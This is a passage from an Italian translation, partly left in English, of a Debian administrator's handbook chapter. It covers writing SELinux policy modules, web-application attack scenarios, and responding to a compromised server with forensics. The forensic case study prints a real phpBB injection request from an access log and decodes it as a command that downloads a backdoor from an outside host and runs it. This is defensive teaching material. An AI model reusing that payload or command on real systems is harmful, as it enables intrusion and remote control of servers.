Per creare nuovi moduli, è richiesto il pacchetto selinux-policy-dev oltre a selinux-policy-doc. Quest'ultimo contiene la documentazione delle regole standard (/usr/share/doc/selinux-policy-doc/html/) e file di esempio che possono essere usati come modelli per creare nuovi moduli. Installiamo questi file ed esaminiamoli più da vicino:

$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile

$ cp /usr/share/doc/selinux-policy-doc/example.fc ./

$ cp /usr/share/doc/selinux-policy-doc/example.if ./

$ cp /usr/share/doc/selinux-policy-doc/example.te ./

Il file .te è il più importante. Definisce le regole. Il file .fc definisce i "contesti dei file", che sono i tipi assegnati ai file relativi a questo modulo. I dati all'interno del file .fc sono usati durante la fase di etichettatura dei file. Infine, il file .if definisce l'interfaccia del modulo: si tratta di una serie di "funzioni pubbliche", che altri moduli possono utilizzare per interagire correttamente con il modulo che si sta creando.

14.5.4.1. Scrivere un file .fc

Analizzare l'esempio sotto dovrebbe essere sufficiente per capire la struttura di un file di questo tipo. Si possono usare espressioni regolari per assegnare lo stesso contesto di sicurezza a file multipli, oppure anche a un intero albero di directory.

Esempio 14.2. File example.fc

# l'eseguibile miaapp avrà:

# label: system_u:object_r:miaapp_exec_t

# sensibilità MLS: s0

# categorie MCS : <nessuna>

/usr/sbin/miaapp         --      gen_context(system_u:object_r:miaapp_exec_t,s0)

14.5.4.2. Scrivere un file .if benutze

Nell'esempio sotto, la prima interfaccia («miaapp_domtrans») controlla chi può eseguire l'applicazione. La seconda («miaapp_lettura_log») concede i diritti di lettura sui file di log dell'applicazione.

Ogni interfaccia deve generare un insieme valido di regole che può essere incluso in un file .te. Si deve perciò dichiarare tutti i tipi che si usano (con la macro gen_require), e usare direttive standard per concedere i diritti. Da notare, comunque, che si possono utilizzare le interfacce fornite dagli altri moduli. Nella prossima sezione si approfondirà maggiormente come esprimere questi diritti.

Esempio 14.3. File example.if

## <summary>Myapp example policy</summary>

## <desc>

##      <p>

##              More descriptive text about myapp.  The <desc>

##              tag can also use <p>, <ul>, and <ol>

##              html tags for formatting.

##      </p>

##      <p>

##              This policy supports the following myapp features:

##              <ul>

##              <li>Feature A</li>

##              <li>Feature B</li>

##              <li>Feature C</li>

##              </ul>

##      </p>

## </desc>

#

########################################

## <summary>

##      Execute a domain transition to run myapp.

## </summary>

## <param name="domain">

##      Domain allowed to transition.

## </param>

#

interface(`myapp_domtrans',`

gen_require(`

type myapp_t, myapp_exec_t;

')

domtrans_pattern($1,myapp_exec_t,myapp_t)

')

########################################

## <summary>

##      Read myapp log files.

## </summary>

## <param name="domain">

##      Domain allowed to read the log files.

## </param>

#

interface(`myapp_read_log',`

gen_require(`

type myapp_log_t;

')

logging_search_logs($1)

allow $1 myapp_log_t:file r_file_perms;

')

DOCUMENTAZIONE Spiegazioni in merito alla politica di riferimento

The reference policy evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones.

→ https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted

14.5.4.3. Scrivere un file .te

Osservare il file example.te:

APPROFONDIMENTI Il linguaggio macro m4

Per strutturare in modo appropriato la politica, gli sviluppatori di SELinux utilizzano un processore di comandi macro. Invece di duplicare molte direttive allow simili, creano «funzioni macro» per sfruttare una logica a più alto livello, che si traduce anche in una politica maggiormente comprensibile.

In pratica, per compilare queste regole viene usato m4. Con esso si esegue l'operazione opposta: si espandono tutte le direttive ad alto livello in un enorme database di direttive allow.

Le «interfacce» di SELinux sono semplicemente funzioni macro che vengono sostituite da un insieme di regole al momento della loro compilazione. Allo stesso modo, alcuni diritti sono in realtà gruppi di diritti che vengono sostituiti dai loro valori in fase di compilazione.

policy_module(myapp,1.0.0)

########################################

#

# Declarations

#

type myapp_t;

type myapp_exec_t;

domain_type(myapp_t)

domain_entry_file(myapp_t, myapp_exec_t)

type myapp_log_t;

logging_log_file(myapp_log_t)

type myapp_tmp_t;

files_tmp_file(myapp_tmp_t)

########################################

#

# Myapp local policy

#

allow myapp_t myapp_log_t:file { read_file_perms append_file_perms };

allow myapp_t myapp_tmp_t:file manage_file_perms;

files_tmp_filetrans(myapp_t,myapp_tmp_t,file)

Il modulo dev'essere identificato da nome e numero di versione. Questa direttiva è obbligatoria.

Se il modulo introduce nuovi tipi, deve dichiararli con direttive come questa. Non bisogna esitare a creare tanti tipi quanti necessari piuttosto che concedere troppi inutili diritti.

Queste interfacce definiscono il tipo miaapp_t come un dominio di processo che deve essere usato da ogni eseguibile etichettato con miaapp_exec_t. Implicitamente, ciò aggiunge l'attributo exec_type a tutti questi soggetti, che a loro volta permettono ad altri moduli di concedere i diritti di esecuzione su questi programmi: per esempio, il modulo userdomain concede ai processi con dominio user_t, staff_t e sysadm_t di eseguirli. I domini di altre applicazioni circoscritte non avranno i diritti di eseguirli, finché le regole non concedono loro diritti simili (è questo il caso, per esempio, di dpkg con il relativo dominio dpkg_t).

logging_log_file is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example, granting rights to logrotate so that it can manipulate them).

La direttiva allow è la direttiva base per autorizzare un'operazione. Il primo parametro è il dominio del processo a cui è concessa l'esecuzione dell'operazione. Il secondo definisce l'oggetto che un processo del primo dominio può manipolare. Questo parametro si definisce come «tipo:classe» dove tipo è il proprio tipo SELinux e classe descrive la natura dell'oggetto (file, directory, socket, fifo, ecc.). Infine, l'ultimo parametro descrive i permessi (le operazioni consentite).

I permessi sono definiti come un insieme di operazioni consentite e seguono questo modello: { operazione1 operazione2 }. Si possono usare comunque anche macro che rappresentano i permessi più comuni. L'elenco si trova in /usr/share/selinux/devel/include/support/obj_perm_sets.spt.

The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted.

→ https://selinuxproject.org/page/ObjectClassesPerms

Ora si deve trovare l'insieme minimo di regole necessarie per assicurare che l'applicazione o il servizio in questione funzioni correttamente. Per ottenere ciò, bisogna avere una buona conoscenza di come funziona l'applicazione e di che genere di dati vengono gestiti e/o prodotti.

È comunque possibile un approccio empirico. Una volta che i soggetti rilevanti sono stati correttamente etichettati, si può usare l'applicazione in modalità permissiva: che verrebbero bloccate vengono registrate ma vengono comunque eseguite. Analizzando i log, si possono identificare le operazioni da consentire. Questo è un esempio di una di queste voci di log:

avc:  denied  { read write } for  pid=1876 comm="syslogd" name="xconsole" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1

Per comprendere meglio questo messaggio, studiamolo pezzo per pezzo.

Tabella 14.1. Analisi di un tracciamento di SELinux

Messaggio

Descrizione

avc: denied

Un'operazione è stata negata.

{ read write }

Questa operazione ha richiesto i permessi di lettura e scrittura.

pid=1876

Il processo con PID 1876 ha eseguito l'operazione (o ha tentato di eseguirla).

comm="syslogd"

Il processo era un'istanza del programma syslogd.

name="xconsole"

L'oggetto di destinazione è stato chiamato xconsole. A volte invece si può avere - con il percorso completo - anche un "percorso" variabile.

dev=tmpfs

The device hosting the target object is a tmpfs (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example, “sda3”).

ino=5510

L'oggetto è identificato dall'inode numero 5510.

scontext=system_u:system_r:syslogd_t:s0

Questo è il contesto di sicurezza del processo che ha eseguito l'operazione.

tcontext=system_u:object_r:device_t:s0

Questo è il contesto di sicurezza dell'oggetto di destinazione.

tclass=fifo_file

L'oggetto di destinazione è un file FIFO.

By observing this log entry, it is possible to build a rule that would allow this operation. For example, allow syslogd_t device_t:fifo_file { read write }. This process can be automated, and it is exactly what the audit2allow command (of the policycoreutils package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “dontaudit” rule to avoid the log entry despite the effective denial.

COMPLEMENTI Nessun ruolo nelle regole della politica

Può sembrare strano che i ruoli non compaiano per nulla nella creazione di nuove regole. SELinux utilizza solo i domini per capire quali operazioni sono permesse. Il ruolo interviene solo indirettamente dando la possibilità all'utente di passare ad un altro dominio. SELinux è basato sulla teoria nota come Type Enforcement e il tipo è il solo elemento che conta quando si concedono i diritti.

14.5.4.4. Compilare i file

Una volta che i 3 file (example.if, example.fc e example.te) corrispondono alle proprie aspettative per le nuove regole, rinominateli in myapp.extension e lanciare make NAME=devel per generare un modulo nel file myapp.pp (può essere immediatamente caricato con semodule -i myapp.pp). Se sono definiti diversi moduli, make creerà tutti i rispettivi file .pp.

14.6. Altre considerazioni relative alla sicurezza

La sicurezza non è un problema tecnico; più di ogni altra cosa, si tratta di buone pratiche e di comprensione dei rischi. Questa sezione esamina alcuni dei rischi più comuni, così come alcune delle migliori pratiche che, a seconda dei casi, aumentano il livello di sicurezza o limitano l'impatto di un attacco subito.

14.6.1. Rischi intrinseci delle applicazioni web

Il carattere universale delle applicazioni web ha aiutato la loro proliferazione. Spesso ne sono in esecuzione parecchie in parallelo: webmail, wiki, sistemi collaborativi, gallerie di foto, blog e così via. Molte di queste applicazioni si basano sullo stack «LAMP» (Linux, Apache, MySQL, PHP). Sfortunatamente, molte di queste applicazioni sono state anche scritte senza sufficiente considerazione dei problemi di sicurezza. I dati provenienti dall'esterno vengono, troppo spesso, acquisiti con poca o nessuna validazione. Possono essere forniti valori creati appositamente per stravolgere l'invocazione di un comando in modo tale che un altro venga eseguito al suo posto. La maggior parte dei problemi più comuni sono stati risolti col passare del tempo, ma regolarmente se ne presentano di nuovi.

VOCABOLARIO SQL injection

When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible.

→ https://en.wikipedia.org/wiki/SQL_Injection

Risulta d'obbligo quindi l'aggiornamento delle applicazioni web su base regolare, affinché nessun cracker (che sia un autore di attacchi professionista oppure un principiante) possa sfruttare una vulnerabilità conosciuta. Il rischio effettivo dipende dai casi, e spazia dalla perdita dei dati all'esecuzione di codice arbitrario, incluso il defacing di un sito web.

14.6.2. Sapere cosa aspettarsi

Una vulnerabilità in un'applicazione web è spesso usata come punto di partenza per un tentativo di attacco. Quello che segue è una breve rassegna delle possibili conseguenze.

APPROFONDIMENTI Filtrare le richieste HTTP

Apache 2 include moduli che permettono di filtrare le richieste HTTP. Questi permettono di bloccare alcuni vettori d'attacco. Per esempio, si può prevenire un buffer overflow limitando la lunghezza dei parametri. Più in generale, si può validare i parametri prima che vengano passati all'applicazione web e limitare l'accesso con vari criteri. Questo approccio può anche essere combinato con aggiornamenti dinamici dei firewall, in modo tale che un client che viola una delle regole è escluso dall'accesso al server web per un dato periodo di tempo.

Impostare questi controlli può essere un compito lungo e laborioso, ma può ripagare quando l'applicazione web che dev'essere installata ha seguito uno sviluppo incerto per quanto riguarda la sicurezza.

mod-security2 (nel pacchetto libapache2-mod-security2) è il principale di tali moduli. Viene fornito anche con molte regole già pronte all'uso (nel pacchetto modsecurity-crs) che possono essere facilmente abilitate.

Le conseguenze di un'intrusione hanno vari livelli di evidenza a seconda delle intenzioni di chi fa l'attacco. Un principiante («script-kiddy») applica alla lettera ricette che trova sui siti web; molto spesso deturpa una pagina web o distrugge dati. In casi particolari, aggiunge contenuti invisibili alle pagine web per aumentare i riferimenti ai suoi siti web nei motori di ricerca.

Un attaccante più esperto va oltre. Uno scenario disastroso può presentarsi nella seguente maniera: chi attacca acquisisce la capacità di eseguire comandi come utente www-data, ma l'esecuzione di un comando richiede molte manipolazioni. Per avere vita più facile, installa altre applicazioni web progettate appositamente per eseguire da remoto varie tipologie di comandi, ad esempio l'esplorazione del file system, la gestione delle autorizzazioni, il caricamento o lo scaricamento di file, l'esecuzione di comandi, e talvolta l'apertura di una shell di rete. Spesso, la vulnerabilità permette di lanciare il comando wget per scaricare un qualche tipo di malware in /tmp/, per poi eseguirlo. Di solito il malware viene scaricato da un sito web esterno che è stato precedentemente compromesso, per far perdere le tracce e rendere più arduo individuare la reale provenienza dell'attacco.

A questo punto, chi attacca ha sufficiente libertà di movimento spesso per poter installare un bot IRC (un automa che si connette ad un server IRC e può essere controllato attraverso questo canale). Questo bot viene talvolta usato per condividere file illegali (copie non autorizzate di film o software e così via). Un autore di attacchi ben determinato potrebbe voler spingersi oltre. L'account www-data non permette l'accesso completo alla macchina, così chi attacca potrebbe provare a ottenere i privilegi di amministratore. Ora, ciò non dovrebbe essere possibile, ma se l'applicazione web non è aggiornata, può essere che il kernel oppure altri programmi siano anch'essi non aggiornati; questo può essere conseguenza della decisione dell'amministratore che, nonostante sia a conoscenza della vulnerabilità, ha trascurato di aggiornare il sistema dal momento che non sono presenti utenti locali. Chi attacca, quindi, può avvantaggiarsi di questa seconda vulnerabilità per ottenere l'accesso come root.

VOCABOLARIO Escalation dei privilegi

Questo termine copre tutto ciò che viene usato per ottenere permessi più ampi di quelli che un utente normalmente dovrebbe avere. Il programma sudo è progettato precisamente con lo scopo di concedere i diritti di amministratore ad alcuni utenti. Ma lo stesso termine è usato anche per descrivere l'atto di un autore di attacchi che sfrutta una vulnerabilità per ottenere diritti non dovuti.

Ora chi attacca ha il controllo sulla macchina; cercherà di mantenere questo accesso privilegiato per il maggior tempo possibile. Questo può comprendere l'installazione di un rootkit, un programma che rimpiazza alcuni componenti del sistema per permettere all'autore dell'attacco di ottenere i privilegi di amministratore nuovamente le volte successive; il rootkit tenta anche di mascherare la propria esistenza così come ogni traccia di intrusione. Un programma ps alterato ometterà di elencare alcuni processi, netstat non elencherà alcune delle connessioni attive e così via. Sfruttando i permessi di root, l'autore dell'attacco è stato in grado di osservare l'intero sistema, ma non ha trovato dati importanti; così tenterà di accedere ad altre macchine nella rete aziendale. Analizzando l'account dell'amministratore e i file della cronologia, l'autore dell'attacco scopre a quali macchine vengono fatti accessi frequenti. Sostituendo sudo oppure ssh con un programma contraffatto, chi attacca può intercettare alcune delle password di amministrazione, che possono essere usate nei server rilevati… e l'intrusione da lì si può propagare.

Questo è uno scenario da incubo che può essere evitato attraverso numerose misure. Le prossime sezioni ne descrivono alcune.

14.6.3. Scegliere saggiamente il software

Una volta che i potenziali problemi di sicurezza sono noti, devono essere presi in considerazione a ciascun passo del processo di distribuzione di un servizio, specialmente quando si sceglie il software da installare. Molti siti web, come SecurityFocus.com, mantengono un elenco delle vulnerabilità riscontrate di recente, che danno un'idea dei precedenti per ciò che riguarda la sicurezza prima che qualche software particolare venga distribuito. Sicuramente questa informazione dev'essere messa in relazione con la popolarità del suddetto software: un programma ampiamente diffuso è un obiettivo più allettante, e di conseguenza dev'essere esaminato più attentamente. D'altro canto, un programma di nicchia potrebbe presentare molti buchi di sicurezza che non vengono mai pubblicizzati a causa della mancanza di interesse nelle verifiche di sicurezza.

VOCABOLARIO Controlli di sicurezza

Il controllo di sicurezza è il processo di lettura approfondita e analisi del codice sorgente del software, alla ricerca di possibili vulnerabilità di sicurezza che può contenere. Tali verifiche sono di solito proattive e vengono effettuate per garantire che un programma soddisfi determinati requisiti di sicurezza.

In the free software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements.

VOCABOLARIO Zero-day exploit

Un attacco zero-day exploit è difficile da prevenire; il termine copre una vulnerabilità che non è ancora conosciuta agli autori del programma.

14.6.4. Gestire una macchina nel suo complesso

La maggior parte delle distribuzioni Linux installano per impostazione predefinita un certo numero di servizi Unix e svariati strumenti. I molti casi, questi servizi e strumenti non sono necessari per gli effettivi scopi per cui l'amministratore configura la macchina. Come linea guida generale in termini di sicurezza, è meglio disinstallare il software non necessario. Infatti, non ha senso mettere in sicurezza un server FTP, se può essere sfruttata la vulnerabilità di un altro servizio inutilizzato per ottenere i privilegi di amministratore sull'intera macchina.

Seguendo lo stesso ragionamento, i firewall sono spesso configurati per permettere l'accesso solo ai servizi che sono destinati ad essere disponibili pubblicamente.

Gli attuali computer sono sufficientemente potenti da permettere di offrire numerosi servizi sulla stessa macchina fisica. Da un punto di vista economico, tale possibilità è interessante: solo un computer da amministrare, minor consumo energetico e così via. Dal punto di vista della sicurezza, invece, questa scelta può diventare un problema. Un solo servizio compromesso può permettere l'accesso all'intera macchina, che a sua volta può compromettere gli altri servizi offerti. Il rischio può essere limitato isolando i servizi. Ciò si ottiene sia con la virtualizzazione (ogni servizio viene ospitato in una macchina virtuale dedicata o contenitore), sia con AppArmor/SELinux (assegnando ad ogni servizio demone un insieme adeguatamente progettato di permessi).

14.6.5. Agli utenti piace giocare

Discutere di sicurezza porta immediatamente alla mente la protezione contro gli attacchi da parte di cracker anonimi che si nascondono nella giungla di Internet; ma un fatto spesso dimenticato è che i rischi vengono anche dall'interno: un dipendente che sta per lasciare l'azienda potrebbe scaricare file sensibili relativi a progetti importanti e venderli alla concorrenza, un venditore negligente potrebbe allontanarsi dalla propria scrivania senza bloccare la sessione durante un meeting con un nuovo potenziale cliente, un utente maldestro potrebbe eliminare la directory sbagliata per errore e così via.

La risposta a questi rischi può richiedere soluzioni tecniche: bisogna concedere agli utenti solo i permessi necessari, inoltre è d'obbligo pianificare backup regolari. Ma nella maggior parte dei casi, per evitare i rischi la giusta protezione implica insegnare agli utenti come evitare i rischi.

APPROFONDIMENTI autolog

Il pacchetto autolog contiene un programma che disconnette automaticamente gli utenti inattivi dopo un ritardo configurabile. Permette anche di terminare i processi utente che rimangono attivi al termine della sessione, impedendo così agli utenti di eseguire demoni.

14.6.6. Sicurezza fisica

Non ha senso mettere in sicurezza i servizi e le reti se i computer stessi non sono protetti. Dati importanti meritano di essere memorizzati su dischi fissi hot-swap in configurazione RAID, perché i dischi fissi prima o poi si guastano e la disponibilità dei dati è d'obbligo. Ma se qualsiasi ragazzo della pizza può entrare nell'edificio, intrufolarsi nella stanza del server e scappare con alcuni dischi rigidi prescelti, allora un importante aspetto di sicurezza non è soddisfatto. Chi può entrare nella stanza del server? È presente un controllo degli accessi? Queste domande meritano una considerazione (e una risposta) quando viene valutata la sicurezza fisica.

La sicurezza fisica include anche prendere coscienza dei rischi derivanti da incidenti, come ad esempio gli incendi. Questo rischio in particolare è ciò che giustifica l'archiviazione dei supporti di backup in un edificio separato, o almeno in una cassaforte ignifuga.

14.6.7. Responsabilità legale

Un amministratore è, per i suoi utenti così come per gli utenti della rete in generale, una persona più o meno implicitamente fidata. Dovrebbe pertanto evitare qualsiasi negligenza che persone ostili potrebbero sfruttare.

An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant, nevertheless. In other cases, more important trouble can be caused from your machine, for instance, denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine.

Quando si presentano queste situazioni, dichiararsi innocenti di solito non basta; per lo meno, sarà necessaria una prova convincente che dimostra un'attività sospetta sul sistema proveniente da un determinato indirizzo IP. Ciò non sarà possibile se si trascurano le raccomandazioni di questo capitolo e si concede all'autore dell'attacca di ottenere l'accesso ad un account privilegiato (in particolare root) per cancellare le proprie tracce.

14.7. Gestire una macchina compromessa

Nonostante le migliori intenzioni e per quanto attentamente sia stata progettata la politica di sicurezza, un amministratore prima o poi può trovarsi a fronteggiare un attacco. Questa sezione fornisce alcune linee guida su come reagire davanti a queste sfortunate circostanze.

14.7.1. Rilevare ed esaminare l'intrusione di un cracker

Il primo passo da intraprendere dopo aver subito un'intrusione è di essere consapevoli di tale atto. Questo non è evidente, soprattutto senza un'adeguata infrastruttura di monitoraggio.

Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance, one named apache instead of the standard /usr/sbin/apache2. If we follow that example, the thing to do is to note its process identifier, and check /proc/pid/exe to see what program this process is currently running:

# ls -al /proc/3719/exe

lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc

Un programma installato sotto /var/tmp/ che è in esecuzione come server web? Nessun dubbio, la macchina è compromessa.

Questo è solo un esempio, ma molti altri indizi possono far suonare il campanello d'allarme all'amministratore:

- l'opzione di un comando che da tempo non funziona più; la versione del software che il comando dichiara che non corrisponde alla versione che si suppone sia installata secondo dpkg;

- il prompt dei comandi o il messaggio di benvenuto della sessione che indica che l'ultima connessione proviene da un server sconosciuto o da un altro continente;

- errori causati da partizioni /tmp/ che si riempiono, che si scopre essere piene zeppe di copie illegali di film;

- e così via.

14.7.2. Mettere off-line il server

In tutti i casi tranne in quelli più esotici, l'intrusione arriva dalla rete, e l'autore dell'attacco ha bisogno di una connessione di rete attiva per raggiungere i suoi scopi (accedere a dati confidenziali, condividere file illegali, nascondere la sua identità usando la macchina come ripetitore e così via). Staccare il computer dalla rete impedirà a chi attacca di raggiungere questi obiettivi, se ancora non è riuscito a farlo.

This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see Sezione 14.7.3, «Mantenere tutto ciò che può essere usato come prova», Sezione 14.7.5, «Analisi forensi» and Sezione 14.7.6, «Ricostruire lo scenario dell'intrusione»), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but sshd). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines.

14.7.3. Mantenere tutto ciò che può essere usato come prova

Individuare l'intrusione e/o iniziare azioni legali contro gli autori degli attacchi richiede il salvataggio di copie di tutti gli elementi importanti; questo include il contenuto dell'hard disk, la lista di tutti i processi in esecuzione e un elenco di tutte le connessioni aperte. Può essere utile allo scopo anche il contenuto della RAM, ma in pratica è raramente utilizzato.

Nel bel mezzo dell'azione, gli amministratori sono spesso tentati dall'effettuare maggiori controlli sulla macchina compromessa; di solito non è una buona idea. Ogni comando è potenzialmente contraffatto e può coprire alcune prove. I controlli dovrebbero essere limitati ad un inseme minimo (netstat -tupan per le connessioni di rete, ps auxf per un elenco dei processi, ls -alR /proc/[0-9]* per un qualche informazione in più sui programmi in esecuzione) ed ogni controllo effettuato potrebbe essere accuratamente registrato.

ATTENZIONE Analisi a caldo

While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It is quite possible for a subverted ps command to hide some processes, or for a subverted ls to hide files; sometimes even the kernel is compromised!

Se è comunque richiesta un'analisi a caldo, occorre prestare attenzione ad utilizzare solo programmi della cui bontà si è certi. Un buon modo per farlo è quello di avere un CD di ripristino con programmi originali, oppure una risorsa di rete condivisa in sola lettura. Comunque, anche queste contromisure possono essere insufficienti se il kernel stesso è compromesso.

Una volta che gli elementi «dinamici» sono stati salvati, il passo successivo consiste nell'archiviare un'immagine completa dell'hard-disk. È impossibile generare l'immagine se il file system è in continua evoluzione, motivo per cui dev'essere rimontato in sola lettura. La soluzione più semplice spesso è di spegnere brutalmente il sistema (dopo aver lanciato sync) e riavviarlo da un CD di ripristino. Bisogna copiare ogni partizione con uno strumento tipo dd; bisogna spedire le immagini ad un altro server (eventualmente con il conveniente strumento nc). Un'altra possibilità potrebbe essere ancora più semplice: rimuovere proprio il disco dalla macchina e sostituirlo con uno che può essere formattato e reinstallato.

14.7.4. Re-installare

Non bisogna riportare online il server senza una reinstallazione completa. Se i danni procurati sono gravi (sono stati ottenuti i privilegi di amministrazione), non c'è modo di essere sicuri di essersi liberati da tutto ciò che l'autore dell'attacco può aver lasciato alle spalle (in particolare backdoor). Sicuramente, bisogna applicare tutti gli aggiornamenti di sicurezza per sanare la vulnerabilità utilizzata da chi ha fatto l'attacco. Idealmente, l'analisi dell'attacco porta a rilevare il modo in cui esso è avvenuto, così si può essere sicuri di risolverlo; altrimenti, si può solo sperare che la vulnerabilità sia una di quelle risolte dagli aggiornamenti.

Reinstallare un server remoto non è sempre facile; può coinvolgere l'assistenza della compagnia di hosting, poiché non tutte le aziende offrono sistemi di reinstallazione automatizzati. Bisogna fare attenzione a non reinstallare la macchina da backup effettuati dopo la compromissione. Idealmente, bisogna ripristinare solo i dati, e reinstallare il software vero e proprio dal supporto di installazione.

14.7.5. Analisi forensi

Ora che il servizio è stato ripristinato, è tempo di fare un'analisi approfondita dell'immagine del disco del sistema compromesso per capire il vettore d'attacco. Quando viene montata l'immagine, bisogna fare attenzione ad usare le opzioni ro,nodev,noexec,noatime per evitare di cambiarne il contenuto (inclusi la data e l'ora di accesso ai file) oppure di lanciare per sbaglio programmi compromessi.

Ripercorrere lo scenario dell'attacco spesso richiede di ricercare tutto ciò che è stato modificato o eseguito:

- I file .bash_history forniscono spesso una lettura molto interessante;

- e lo stesso vale per l'elenco dei file che sono stati creati, modificati o a cui si è acceduto di recente;

- il comando strings aiuta ad identificare programmi installati dall'autore dell'attacco, tramite l'estrazione delle stringhe di testo dai file binari;

- spesso i file di log in /var/log/ permettono di ricostruire cronologicamente gli eventi;

- l'uso di strumenti specifici permette anche di ripristinare il contenuto di file potenzialmente eliminati, inclusi file di log che vengono spesso rimossi dagli autori degli attacchi.

Alcune di queste operazioni possono essere semplificate utilizzando software specializzato.In particolare, il pacchetto sleuthkit fornisce molti strumenti per analizzare i filesystem. Il loro uso viene facilitato dell'interfaccia grafica Autopsy Forensic Browser (nel pacchetto autopsy). Alcune distribuzioni Linux hanno un'immagine "live install" e contengono molti programmi per l'analisi forense, come Kali Linux (vedi Sezione A.8, «Kali Linux»), con la sua forensic mode, BlackArchLinux[7] e la commerciale Grml-Forensic, basata su Grml (vedi Sezione A.6, «Grml»).

14.7.6. Ricostruire lo scenario dell'intrusione

Tutti gli elementi raccolti durante le analisi devono incastrarsi tra loro come i pezzi di un puzzle; la creazione dei primi file sospetti è spesso confermata dai log che provano l'intrusione. Un esempio reale è molto più esplicativo di lunghe divagazioni teoriche.

Il seguente log sono un estratto dall'access.log di Apache:

www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

This example matches exploitation of an old security vulnerability in phpBB.

→ http://secunia.com/advisories/13239/

→ https://www.phpbb.com/phpBB/viewtopic.php?t=240636

La decodifica questo lungo URL porta a capire che l'autore dell'attacco è riuscito a eseguire del codice PHP, ossia: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). Infatti, un file bd è stato trovato in /tmp/. Lanciando strings /mnt/tmp/bd si ottiene, oltre ad altre stringhe, PsychoPhobia Backdoor is starting.... Sembra proprio una backdoor.

Qualche tempo dopo, questo accesso è stato usato per scaricare, installare ed eseguire un bot IRC che si è connesso ad una rete IRC segreta. Il bot poteva poi essere controllato attraverso questo protocollo e istruito per scaricare file da condividere. Questo programma ha addirittura un proprio file di log:

** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)

** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT

** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024

** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating

** 2004-11-29-19:50:20: DCC CHAT Correct password

(...)

** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)

(...)

** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)

(...)

